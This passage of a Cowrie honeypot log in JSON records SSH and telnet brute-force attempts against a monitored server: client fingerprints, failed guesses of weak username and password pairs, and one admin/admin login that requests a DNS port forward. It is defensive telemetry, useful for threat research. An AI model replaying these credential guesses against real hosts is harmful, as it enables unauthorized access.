s192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:49.852639Z","src_ip":"119.28.9.170","session":"8028df8f3ba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test4","password":"123456","message":"login attempt [test4/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:50.706327Z","src_ip":"119.28.9.170","session":"8028df8f3ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:07:51.918396Z","src_ip":"119.28.9.170","session":"8028df8f3ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":47370,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da3625fcfde","protocol":"ssh","message":"New connection: 202.145.0.61:47370 (159.203.135.109:22) [session: 8da3625fcfde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:33.376808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:33.381558Z","src_ip":"202.145.0.61","session":"8da3625fcfde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:33.622200Z","src_ip":"202.145.0.61","session":"8da3625fcfde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#$1234","message":"login attempt [root/admin!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:34.633934Z","src_ip":"202.145.0.61","session":"8da3625fcfde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:35.878558Z","src_ip":"202.145.0.61","session":"8da3625fcfde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":37456,"dst_ip":"159.203.135.109","dst_port":22,"session":"193c0d62dcf2","protocol":"ssh","message":"New connection: 119.28.9.170:37456 (159.203.135.109:22) [session: 193c0d62dcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:41.581872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:41.591721Z","src_ip":"119.28.9.170","session":"193c0d62dcf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:41.801467Z","src_ip":"119.28.9.170","session":"193c0d62dcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123qwe123","message":"login attempt [deploy/123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:42.663182Z","src_ip":"119.28.9.170","session":"193c0d62dcf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:08:43.872954Z","src_ip":"119.28.9.170","session":"193c0d62dcf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":35866,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ae94c907083","protocol":"ssh","message":"New connection: 202.145.0.61:35866 (159.203.135.109:22) [session: 3ae94c907083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:27.908216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:27.912902Z","src_ip":"202.145.0.61","session":"3ae94c907083","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:28.154177Z","src_ip":"202.145.0.61","session":"3ae94c907083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"123456","message":"login attempt [terrariaserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:29.149572Z","src_ip":"202.145.0.61","session":"3ae94c907083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:30.395314Z","src_ip":"202.145.0.61","session":"3ae94c907083","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":53630,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca7bc8580e5b","protocol":"ssh","message":"New connection: 119.28.9.170:53630 (159.203.135.109:22) [session: ca7bc8580e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:34.045620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:34.053026Z","src_ip":"119.28.9.170","session":"ca7bc8580e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:34.254615Z","src_ip":"119.28.9.170","session":"ca7bc8580e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456a","message":"login attempt [ftpuser/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:35.091916Z","src_ip":"119.28.9.170","session":"ca7bc8580e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:36.298117Z","src_ip":"119.28.9.170","session":"ca7bc8580e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33352,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e812f42327","protocol":"telnet","message":"New connection: 45.58.127.90:33352 (10.17.0.5:23) [session: 51e812f42327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:40.403871Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.155.49.81","src_port":44132,"dst_ip":"159.203.135.109","dst_port":23,"session":"09195df1ca17","protocol":"telnet","message":"New connection: 183.155.49.81:44132 (159.203.135.109:23) [session: 09195df1ca17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:09:51.654550Z"}
{"eventid":"cowrie.session.closed","duration":12.403501272201538,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:04.058054Z","src_ip":"183.155.49.81","session":"09195df1ca17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2622,"dst_ip":"10.17.0.5","dst_port":22,"session":"45941dafa147","protocol":"ssh","message":"New connection: 87.251.64.176:2622 (10.17.0.5:22) [session: 45941dafa147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:11.713959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:11.718448Z","src_ip":"87.251.64.176","session":"45941dafa147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:11.816564Z","src_ip":"87.251.64.176","session":"45941dafa147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.95.224.198","src_port":51682,"dst_ip":"159.203.135.109","dst_port":22,"session":"345618b7ac72","protocol":"ssh","message":"New connection: 190.95.224.198:51682 (159.203.135.109:22) [session: 345618b7ac72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:12.062628Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:12.118227Z","src_ip":"87.251.64.176","session":"45941dafa147","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:12.220539Z","session":"45941dafa147","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:12.319675Z","src_ip":"87.251.64.176","session":"45941dafa147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:12.429077Z","src_ip":"87.251.64.176","session":"45941dafa147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":52596,"dst_ip":"159.203.135.109","dst_port":22,"session":"30ddc860224f","protocol":"ssh","message":"New connection: 202.145.0.61:52596 (159.203.135.109:22) [session: 30ddc860224f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:22.311692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:22.317578Z","src_ip":"202.145.0.61","session":"30ddc860224f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:22.559547Z","src_ip":"202.145.0.61","session":"30ddc860224f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu123456","message":"login attempt [root/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:23.561658Z","src_ip":"202.145.0.61","session":"30ddc860224f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:24.807108Z","src_ip":"202.145.0.61","session":"30ddc860224f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.87042713165283,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:25.274199Z","src_ip":"45.58.127.90","session":"51e812f42327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":41576,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5cd507c62dc","protocol":"ssh","message":"New connection: 119.28.9.170:41576 (159.203.135.109:22) [session: f5cd507c62dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:25.769697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:25.774806Z","src_ip":"119.28.9.170","session":"f5cd507c62dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:25.983309Z","src_ip":"119.28.9.170","session":"f5cd507c62dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"@dm1n@123","message":"login attempt [admin/@dm1n@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:26.823694Z","src_ip":"119.28.9.170","session":"f5cd507c62dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:10:28.029258Z","src_ip":"119.28.9.170","session":"f5cd507c62dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":57746,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f95d9992270","protocol":"ssh","message":"New connection: 119.28.9.170:57746 (159.203.135.109:22) [session: 5f95d9992270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:11:14.654198Z"}
